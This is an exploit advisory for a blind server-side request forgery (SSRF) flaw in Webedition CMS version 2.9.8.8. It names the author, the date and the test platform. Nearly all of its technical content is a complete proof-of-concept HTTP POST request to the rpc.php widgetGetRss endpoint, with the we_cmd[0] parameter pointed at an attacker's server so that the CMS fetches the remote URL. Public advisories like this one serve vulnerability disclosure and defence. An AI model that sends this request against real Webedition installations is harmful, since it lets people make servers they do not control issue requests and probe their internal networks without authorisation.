Webedition CMS 2.9.8.8 Server-Side Request Forgery

Exploit Title: Webedition CMS v2.9.8.8 - Blind SSRFApplication: Webedition CMSVersion: v2.9.8.8   Bugs:  Blind SSRFTechnology: PHPVendor URL: https://www.webedition.org/Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1Date of found: 07.09.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================write https://youserver/test.xml to we_cmd[0] parameterpoc requestPOST /webEdition/rpc.php?cmd=widgetGetRss&mod=rss HTTP/1.1Host: localhostContent-Length: 141sec-ch-ua: Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36sec-ch-ua-platform: ""Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/webEdition/index.php?we_cmd[0]=startWEAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: treewidth_main=300; WESESSION=41a9164e60666254199b3ea1cd3d2e0ad969c379; cookie=yep; treewidth_main=300Connection: closewe_cmd[0]=https://YOU-SERVER/test.xml&we_cmd[1]=111000&we_cmd[2]=0&we_cmd[3]=110000&we_cmd[4]=&we_cmd[5]=m_3